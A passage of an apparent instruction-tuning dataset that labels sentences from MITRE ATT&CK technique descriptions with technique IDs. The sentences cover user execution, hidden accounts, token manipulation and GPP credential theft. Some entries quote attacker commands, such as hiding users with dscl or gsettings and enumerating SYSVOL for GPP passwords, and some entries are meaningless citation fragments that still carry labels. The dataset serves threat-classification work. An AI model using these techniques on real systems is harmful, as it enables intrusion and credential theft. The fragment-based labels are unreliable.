File](https://attack.mitre.org/techniques/T1204/002). ### Response: T1204.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may rely upon specific actions by a user in order to gain execution.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may rely upon specific actions by a user in order to gain execution. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery) ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content.", "output": "T1491", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. ### Response: T1491."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion.", "output": "T1491", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. ### Response: T1491."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages.", "output": "T1491", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. ### Response: T1491."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems.", "output": "T1491.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. ### Response: T1491.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster)", "output": "T1491.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) ### Response: T1491.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages.", "output": "T1491.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. ### Response: T1491.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)", "output": "T1491.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware) ### Response: T1491.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation:", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes ADS July 2015)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes ADS July 2015) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use hidden users to hide the presence of user accounts they create or modify.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use hidden users to hide the presence of user accounts they create or modify. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation:", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation: ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cybereason OSX Pirrit)", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cybereason OSX Pirrit) ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Every user has a userID associated with it.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Every user has a userID associated with it. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the <code>Hide500Users</code>", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the <code>Hide500Users</code> ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also hide a user\u2019s home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account)", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also hide a user\u2019s home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account) ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may similarly hide user accounts in Windows.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may similarly hide user accounts in Windows. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can set the <code>HKLM\\SOFTWARE\\Microsoft\\Windows", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can set the <code>HKLM\\SOFTWARE\\Microsoft\\Windows ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code>", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation:", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation: ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A) ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The method an adversary may use depends on which Display Manager the distribution is currently using.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The method an adversary may use depends on which Display Manager the distribution is currently using. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation:", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation: ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hide GDM User Accounts)", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hide GDM User Accounts) ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Display Managers are not anchored to specific distributions and may be changed by a user or adversary.", "output": "T1564.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Display Managers are not anchored to specific distributions and may be changed by a user or adversary. ### Response: T1564.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows uses access tokens to determine the ownership of a running process.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows uses access tokens to determine the ownership of a running process. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When this occurs, the process also takes on the security context associated with the new token.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When this occurs, the process also takes on the security context associated with the new token. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)).", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary must already be in a privileged user context (i.e. administrator) to steal a token.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary must already be in a privileged user context (i.e. administrator) to steal a token. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", "output": "T1134", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens. ### Response: T1134."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls.", "output": "T1134.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. ### Response: T1134.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.", "output": "T1134.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. ### Response: T1134.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.", "output": "T1134.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread. ### Response: T1134.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.", "output": "T1134.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one. ### Response: T1134.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search compromised systems to find and obtain insecurely stored credentials.", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search compromised systems to find and obtain insecurely stored credentials. ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)). ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP).", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GPP are tools that allow administrators to create domain policies with embedded credentials.", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GPP are tools that allow administrators to create domain policies with embedded credentials. ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These policies allow administrators to set local accounts.(Citation:", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These policies allow administrators to set local accounts.(Citation: ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft GPP 2016)", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft GPP 2016) ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These group policies are stored in SYSVOL on a domain controller.", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These group policies are stored in SYSVOL on a domain controller. ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key) ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files: ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Metasploit\u2019s post exploitation module: <code>post/windows/gather/credentials/gpp</code>\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Metasploit\u2019s post exploitation module: <code>post/windows/gather/credentials/gpp</code>\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": ".xml</code>", "output": "T1552.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: .xml</code> ### Response: T1552.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows Control Panel items are utilities that allow users to view and adjust computer settings.", "output": "T1196", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows Control Panel items are utilities that allow users to view and adjust computer settings. ### Response: T1196."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.", "output": "T1196", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. ### Response: T1196."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)", "output": "T1196", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) ### Response: T1196."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.", "output": "T1196", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. ### Response: T1196."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)", "output": "T1196", "text": "Below is an instruction that describes a task, paired with an input 